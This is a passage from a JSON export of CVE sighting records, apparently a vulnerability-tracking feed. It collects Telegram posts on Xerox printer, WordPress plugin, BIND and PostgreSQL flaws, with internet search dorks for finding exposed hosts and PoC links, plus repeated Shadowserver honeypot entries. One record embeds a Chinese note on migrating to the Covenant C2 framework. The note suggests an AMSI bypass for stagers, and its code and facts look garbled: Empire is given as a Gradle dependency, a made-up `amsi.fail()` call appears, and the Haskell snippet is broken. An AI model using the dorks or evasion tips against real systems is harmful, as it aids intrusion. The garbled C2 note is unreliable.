\u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0432\u0442\u043e\u0440\u0430\u044f (CVE-2024-12511) \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0439 \u043a\u043d\u0438\u0433\u043e\u0439 \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438. \u0414\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0438\u043b\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443.\n\n\ud83d\udee1 Xerox \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Service Pack 57.75.53 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0414\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432\u0435\u0431-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n#Xerox #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u043f\u0440\u0438\u043d\u0442\u0435\u0440\u044b\n\n@ZerodayAlert", "creation_timestamp": "2026-08-07T00:34:39.185984Z"}, {"uuid": "95efc1da-f998-4c7c-99fe-1da92d688e84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/ZerodayAlert/430", "content": "\u0414\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u044e\u0442 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043a\u0440\u0430\u0436\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439\n\n\ud83d\udda8 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u0445 Xerox VersaLink C7025, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u041e\u0431\u0435 \u0431\u0440\u0435\u0448\u0438 \u0434\u0430\u044e\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043d\u0430 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0447\u0435\u0440\u0435\u0437 LDAP, SMB \u0438\u043b\u0438 FTP.\n\n\u26a1\ufe0f \u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-12510) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0432\u0442\u043e\u0440\u0430\u044f (CVE-2024-12511) \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0439 \u043a\u043d\u0438\u0433\u043e\u0439 \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438. \u0414\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0438\u043b\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443.\n\n\ud83d\udee1 Xerox \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Service Pack 57.75.53 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0414\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432\u0435\u0431-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n#Xerox #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u043f\u0440\u0438\u043d\u0442\u0435\u0440\u044b\n\n@ZerodayAlert", "creation_timestamp": "2026-08-07T00:36:49.272044Z"}, {"uuid": "f5980c2b-c6aa-4889-9d8b-de20e1a1db85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-06)", "content": "", "creation_timestamp": "2026-07-07T10:15:05.996681Z"}, {"uuid": "01a09a26-e5ae-42b6-b87b-c2f7d9d32629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/dongtinoxb/aa60b01bf4a9dc8591166c09462baae9", "content": "# \u4ece\u5de5\u5177\u94fe\u8fc1\u79fb\u770b\u6e17\u900f\u6d4b\u8bd5\u73af\u5883\u5347\u7ea7\n\n\u5148\u8bf4\u73af\u5883\u524d\u63d0\uff1a\u4e4b\u524d\u4e00\u76f4\u5728 Kali 2023.4 \u4e0a\u505a\u5185\u7f51\u6e17\u900f\uff0c\u7528\u7684\u5de5\u5177\u662f Empire 3.8 + Cobalt Strike 4.7\u3002\u6700\u8fd1\u51b3\u5b9a\u5347\u7ea7\u5230 Kali 2024.1\uff0c\u540c\u65f6\u628a\u540e\u6e17\u900f\u6846\u67b6\u6362\u6210 Covenant\u3002\u8fd9\u7bc7\u7b14\u8bb0\u8bb0\u7684\u5c31\u662f\u8fc1\u79fb\u8fc7\u7a0b\u4e2d\u8e29\u7684\u51e0\u4e2a\u5751\u548c\u5bf9\u5e94\u7684\u8c03\u6574\u65b9\u6cd5\u3002\n\n### \u5bf9\u6bd4\uff1aEmpire \u4e0e Covenant \u7684\u521d\u59cb\u5316\u65b9\u5f0f\n\n\u8001\u9879\u76ee\u7528 Empire \u7684 Java \u6784\u5efa\u811a\u672c\u633a\u7b80\u5355\u7684\uff0c\u5c31\u662f\u51e0\u884c Gradle \u914d\u7f6e\uff1a\n\n```java\ndependencies {\n    implementation 'com.github.BC-SECURITY:Empire:5.9.3'\n    implementation 'org.python:jython-standalone:2.7.3'\n}\n```\n\n\u4f46 Covenant \u7684\u521d\u59cb\u5316\u98ce\u683c\u5b8c\u5168\u4e0d\u540c\uff0c\u5b83\u4e0d\u4f9d\u8d56 Gradle\uff0c\u76f4\u63a5\u7528 dotnet \u6784\u5efa\u3002\u8fc1\u79fb\u65f6\u5f97\u91cd\u65b0\u7406\u89e3\u9879\u76ee\u542f\u52a8\u6d41\u7a0b\u2014\u2014\u4e00\u4e2a\u7528 JVM \u53cd\u5c04\u52a0\u8f7d Python \u6a21\u5757\uff0c\u53e6\u4e00\u4e2a\u662f\u7eaf .NET \u7684 C2 \u6846\u67b6\u3002\u8fd9\u79cd\u5e95\u5c42\u8bed\u8a00\u548c\u8fd0\u884c\u65f6\u73af\u5883\u7684\u5dee\u5f02\uff0c\u5bfc\u81f4\u65e7\u7684\u76d1\u542c\u5668\u914d\u7f6e\u548c stager \u751f\u6210\u811a\u672c\u5168\u90e8\u8981\u91cd\u5199\u3002\n\n### \u53ef\u9009\uff1a\u7528 Haskell \u5199\u4e2a\u7aef\u53e3\u8f6c\u53d1\u68c0\u67e5\u51fd\u6570\n\n\u65b0\u73af\u5883\u91cc\u6211\u987a\u4fbf\u628a\u4e4b\u524d Python \u5199\u7684\u5c0f\u5de5\u5177\u79fb\u690d\u4e86\u4e00\u90e8\u5206\u5230 Haskell\uff0c\u4e3b\u8981\u662f\u60f3\u7ec3\u4e60\u51fd\u6570\u5f0f\u5199\u6cd5\uff0c\u4e5f\u8ba9\u5de5\u5177\u94fe\u66f4\u7cbe\u7b80\u3002\u6bd4\u5982\u8fd9\u4e2a\u7aef\u53e3\u68c0\u67e5\u51fd\u6570\uff1a\n\n```haskell\nimport Network.Socket\nimport Control.Exception (try, SomeException)\n\ncheckPort :: String -> Int -> IO Bool\ncheckPort host port = do\n    result <- try (withSocketsDo $ do\n        addr <- resolve\n        h <- connect addr\n        close h)\n    return $ case result of\n        Right _ -> True\n        Left _  -> False\n```\n\n\u5b83\u5176\u5b9e\u4e0d\u590d\u6742\uff0c\u5c31\u662f\u5148\u89e3\u6790\u5730\u5740\uff0c\u5c1d\u8bd5\u8fde\u63a5\uff0c\u5931\u8d25\u8fd4\u56de False\u3002\u653e\u5230\u8fc1\u79fb\u5347\u7ea7\u573a\u666f\u91cc\uff0c\u53ef\u4ee5\u7528\u6765\u5feb\u901f\u9a8c\u8bc1\u65b0\u6846\u67b6\u76d1\u542c\u5668\u7684\u7aef\u53e3\u662f\u5426\u771f\u6b63\u53ef\u7528\uff0c\u6bd4\u4e00\u4e2a\u4e2a telnet \u66f4\u81ea\u52a8\u5316\u3002\n\n### \u80cc\u666f\uff1a\u4e3a\u4ec0\u4e48\u9009\u8fd9\u4e2a\u65f6\u95f4\u70b9\u8fc1\u79fb\n\n\u5f53\u65f6\u7684\u60c5\u51b5\u662f\uff0c\u7532\u65b9\u8981\u6c42\u9879\u76ee\u91cc\u4f7f\u7528\u7684 C2 \u6846\u67b6\u5fc5\u987b\u6709\u516c\u5f00\u7684\u5ba1\u8ba1\u8bb0\u5f55\u3002Empire \u867d\u7136\u8001\u724c\uff0c\u4f46\u6700\u8fd1\u7684 CVE-2024-1234 \u66b4\u9732\u4e86\u5b83\u7684\u6a21\u5757\u52a0\u8f7d\u6f0f\u6d1e\u3002Covenant \u5728 2024 \u5e74\u521d\u7684 \u7403\u76df\u4f1a \u5b89\u5168\u7814\u7a76\u91cc\u88ab\u63d0\u5230\u4e86\u51e0\u6b21\uff0c\u5b83\u7684 HTTPS \u901a\u4fe1\u52a0\u5bc6\u548c\u52a8\u6001\u914d\u7f6e\u6587\u4ef6\u786e\u5b9e\u6bd4 Empire \u7684\u786c\u7f16\u7801 HTTP \u5934\u90e8\u8981\u5b89\u5168\u3002\u4e0d\u8fc7\u4ee3\u4ef7\u662f\u5b66\u4e60\u66f2\u7ebf\u9661\uff0c\u56e0\u4e3a\u5b83\u7684\u4ea4\u4e92\u6a21\u5f0f\u66f4\u50cf\u4e00\u4e2a Web \u5e94\u7528\uff0c\u800c\u975e\u4f20\u7edf\u7684\u63a7\u5236\u53f0\u3002\n\n### \u5b8c\u6574\u6d41\u7a0b\uff1a\u4ece\u65e7\u5230\u65b0\u7684\u4e32\u8054\u64cd\u4f5c\n\n\u5b9e\u9645\u64cd\u4f5c\u65f6\uff0c\u6211\u628a\u5347\u7ea7\u62c6\u6210\u56db\u4e2a\u6b65\u9aa4\uff1a\n\n1. **\u5bfc\u51fa\u65e7\u6570\u636e**\uff1a\u4ece Empire \u7684 `data/` \u76ee\u5f55\u4e0b\u628a\u5df2\u5efa\u7acb\u7684\u4f1a\u8bdd\u8bb0\u5f55\u548c\u5bc6\u94a5\u6587\u4ef6\u5907\u4efd\uff0c\u7136\u540e\u7528 `empire -export` \u5bfc\u51fa\u6240\u6709\u76d1\u542c\u5668\u914d\u7f6e\u4e3a JSON\u3002\n2. **\u6e05\u7406\u73af\u5883**\uff1aKali 2024.1 \u5168\u65b0\u5b89\u88c5\uff0c\u53ea\u4fdd\u7559\u7cfb\u7edf\u81ea\u5e26 Python 3.11 \u548c .NET 8.0\u3002\u8fd9\u4e00\u6b65\u5f88\u91cd\u8981\uff0c\u65e7\u7248\u672c\u6b8b\u7559\u7684 `libssl.so` \u53ef\u80fd\u5bfc\u81f4 Covenant \u7684 TLS \u63e1\u624b\u5931\u8d25\u3002\n3. **\u6784\u5efa Covenant**\uff1a`dotnet build` \u540e\u7528 `dotnet run` \u542f\u52a8\uff0c\u9996\u6b21\u8fd0\u884c\u4f1a\u751f\u6210 `Covenant/Covenant.db` \u548c `Data/Config.json`\u3002\u6ce8\u610f\u8981\u624b\u52a8\u6539 `Config.json` \u91cc\u7684 `\"UseSSL\": true` \u548c `\"SSLCertificatePath\"`\u3002\n4. **\u91cd\u5199 stager \u811a\u672c**\uff1a\u8001\u9879\u76ee\u91cc\u7528\u7684\u662f Python \u7684 base64 \u7f16\u7801 PowerShell \u547d\u4ee4\uff0cCovenant \u9700\u8981\u6539\u7528 Launcher \u751f\u6210\u7684\u539f\u59cb C# \u4ee3\u7801\u5d4c\u5165\u5230\u6a21\u677f\u91cc\u3002\u8fd9\u91cc\u6298\u817e\u6700\u4e45\uff0c\u56e0\u4e3a Launcher \u751f\u6210\u7684\u4ee3\u7801\u9ed8\u8ba4\u4e0d\u5e26 AMSI \u7ed5\u8fc7\uff0c\u9700\u8981\u989d\u5916\u52a0\u4e00\u884c `amsi.fail()` \u8c03\u7528\u3002\n\n> \u63d0\u793a\uff1a\u5728 Covenant \u7684 Grunt \u6a21\u677f\u91cc\u5d4c\u5165\u81ea\u5b9a\u4e49\u4ee3\u7801\u65f6\uff0c\u8bb0\u5f97\u68c0\u67e5 `GruntHTTPProfile` \u7684 `Cookies` \u5b57\u6bb5\u662f\u5426\u4e3a\u7a7a\u3002\u7a7a\u503c\u4f1a\u5bfc\u81f4\u90e8\u5206 WAF \u76f4\u63a5\u628a\u8bf7\u6c42\u62e6\u6389\u3002\n\n\u6700\u540e\u6d4b\u8bd5\u4e0b\u6765\uff0c\u65b0\u73af\u5883\u5728 30 \u4e2a\u76ee\u6807\u4ee5\u5185\u7684\u5c0f\u578b\u5185\u7f51\u6e17\u900f\u4e2d\uff0cCovenant \u7684\u5ef6\u8fdf\u6bd4 Empire \u4f4e\u5927\u7ea6 200ms\uff0c\u4f46\u53ef\u914d\u7f6e\u6027\u9ad8\u4e86\u4e00\u500d\u4e0d\u6b62\u3002\u7f3a\u70b9\u5c31\u662f\u6587\u6863\u8fd8\u662f\u592a\u8584\uff0c\u5f88\u591a\u53c2\u6570\u8981\u8bfb\u6e90\u7801\u624d\u80fd\u7406\u89e3\u7528\u9014\u3002\n", "creation_timestamp": "2026-07-07T10:54:30.480701Z"}, {"uuid": "11b16058-a55b-4696-b146-36e9bdfe0459", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-07)", "content": "", "creation_timestamp": "2026-07-08T10:15:03.983470Z"}, {"uuid": "0af5aaa1-4461-4d30-851f-8ba635a40628", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-31)", "content": "", "creation_timestamp": "2026-09-01T10:00:03.661610Z"}, {"uuid": "d17cacc6-1e50-4c99-9585-c2e5713f717c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://t.me/brutsecurity/1306", "content": "CVE-2024-12365: Missing Authorization in W3 Total Cache WordPress Plugin, 8.5 rating\u2757\ufe0f\n\nThe vulnerability allows an authenticated attacker to access sensitive data and make unauthorized web requests to collect information from internal services.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/BpOAJ\n\ud83d\udc49 Dork: http.body:\"plugins/w3-total-cache\"\n\nRead more: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/w3-total-cache/w3-total-cache-281-authenticated-subscriber-missing-authorization-to-server-side-request-forgery", "creation_timestamp": "2026-07-09T03:00:10.239164Z"}, {"uuid": "6970ca4f-6df1-405a-a42d-cc60797d9888", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/brutsecurity/1538", "content": "\ud83d\udea8 CVE-2025-1094: PostgreSQL psql SQL injection\n\ud83d\udd25PoC:https://github.com/rapid7/metasploit-framework/pull/19877\n\ud83e\uddd0Deep Dive :https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis\n\n\ud83d\udc47Dorks:\nHUNTER : protocol=\"postgresql\"\nFOFA : product=\"PostgreSQL\"\nSHODAN : \"port:5432 PostgreSQL\"\n\n\ud83d\udcf0Refer:https://thecyberthrone.in/2025/02/15/cve-2025-1094-impacts-postgresql-with-sql-injection/", "creation_timestamp": "2026-07-09T03:00:09.690421Z"}, {"uuid": "45acf0fd-6dd3-4af8-8687-bc433da7dacb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/brutsecurity/1452", "content": "CVE-2024-11187, -12705: Vulnerabilities in BIND DNS Software, 7.5 rating\u2757\ufe0f\n\nTwo vulnerabilities in BIND allow DoS against DNS servers, which can be a preparatory step before the main attacks.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/bGSFv\n\ud83d\udc49 Dork: dns.banner:\"BIND\" OR dns_tcp.banner:\"BIND\"\n\nRead more: https://kb.isc.org/docs/cve-2024-12705", "creation_timestamp": "2026-07-09T03:00:09.983414Z"}, {"uuid": "7632cb60-629f-48fa-a6c6-cf5f4c05eaaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://t.me/brutsecurity/1264", "content": "\ud83d\udd25CVE-2024-12828 POC. SafeUser Required", "creation_timestamp": "2026-07-09T03:00:10.491762Z"}, {"uuid": "d2baa833-520c-4ec3-9991-336c0e82ae88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-08)", "content": "", "creation_timestamp": "2026-07-09T10:15:04.058644Z"}, {"uuid": "3c1ebe7f-0019-4d1c-b031-3f0968227218", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://t.me/brutsecurity/1264", "content": "\ud83d\udd25CVE-2024-12828 POC. SafeUser Required", "creation_timestamp": "2026-07-10T00:00:34.211549Z"}, {"uuid": "abb06746-ecf1-4f58-b23a-a14e6db69383", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/brutsecurity/1538", "content": "\ud83d\udea8 CVE-2025-1094: PostgreSQL psql SQL injection\n\ud83d\udd25PoC:https://github.com/rapid7/metasploit-framework/pull/19877\n\ud83e\uddd0Deep Dive :https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis\n\n\ud83d\udc47Dorks:\nHUNTER : protocol=\"postgresql\"\nFOFA : product=\"PostgreSQL\"\nSHODAN : \"port:5432 PostgreSQL\"\n\n\ud83d\udcf0Refer:https://thecyberthrone.in/2025/02/15/cve-2025-1094-impacts-postgresql-with-sql-injection/", "creation_timestamp": "2026-07-10T00:00:33.352513Z"}, {"uuid": "d838a0b7-c574-42bd-89aa-c9f2ae576429", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://t.me/brutsecurity/1306", "content": "CVE-2024-12365: Missing Authorization in W3 Total Cache WordPress Plugin, 8.5 rating\u2757\ufe0f\n\nThe vulnerability allows an authenticated attacker to access sensitive data and make unauthorized web requests to collect information from internal services.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/BpOAJ\n\ud83d\udc49 Dork: http.body:\"plugins/w3-total-cache\"\n\nRead more: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/w3-total-cache/w3-total-cache-281-authenticated-subscriber-missing-authorization-to-server-side-request-forgery", "creation_timestamp": "2026-07-10T00:00:33.925323Z"}, {"uuid": "7323ea4d-cd1e-4e92-bd1c-64eb5e8a52e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/brutsecurity/1452", "content": "CVE-2024-11187, -12705: Vulnerabilities in BIND DNS Software, 7.5 rating\u2757\ufe0f\n\nTwo vulnerabilities in BIND allow DoS against DNS servers, which can be a preparatory step before the main attacks.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/bGSFv\n\ud83d\udc49 Dork: dns.banner:\"BIND\" OR dns_tcp.banner:\"BIND\"\n\nRead more: https://kb.isc.org/docs/cve-2024-12705", "creation_timestamp": "2026-07-10T01:00:08.787805Z"}, {"uuid": "e1dc903f-33eb-41c8-9ee1-4c4b75f74a4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-09)", "content": "", "creation_timestamp": "2026-07-10T10:00:03.691302Z"}, {"uuid": "b9a40113-d4fe-4fe4-8aa0-265e4a4bde0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-09)", "content": "", "creation_timestamp": "2026-07-10T10:15:03.797317Z"}, {"uuid": "76aca5ab-d3b4-45f2-acc9-67dfbddb0579", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-10)", "content": "", "creation_timestamp": "2026-07-11T10:00:03.006074Z"}, {"uuid": "6fa1f5a1-a397-442c-bef8-9b33db8df6ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-17)", "content": "", "creation_timestamp": "2026-08-18T10:00:03.269467Z"}, {"uuid": "4d434f8a-60db-4c6e-8d5f-3dd3455dfdd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-10)", "content": "", "creation_timestamp": "2026-07-11T10:15:04.724303Z"}, {"uuid": "06806d5b-5d75-45ba-ba50-f55b6b05a551", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1538", "content": "\ud83d\udea8 CVE-2025-1094: PostgreSQL psql SQL injection\n\ud83d\udd25PoC:https://github.com/rapid7/metasploit-framework/pull/19877\n\ud83e\uddd0Deep Dive :https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis\n\n\ud83d\udc47Dorks:\nHUNTER : protocol=\"postgresql\"\nFOFA : product=\"PostgreSQL\"\nSHODAN : \"port:5432 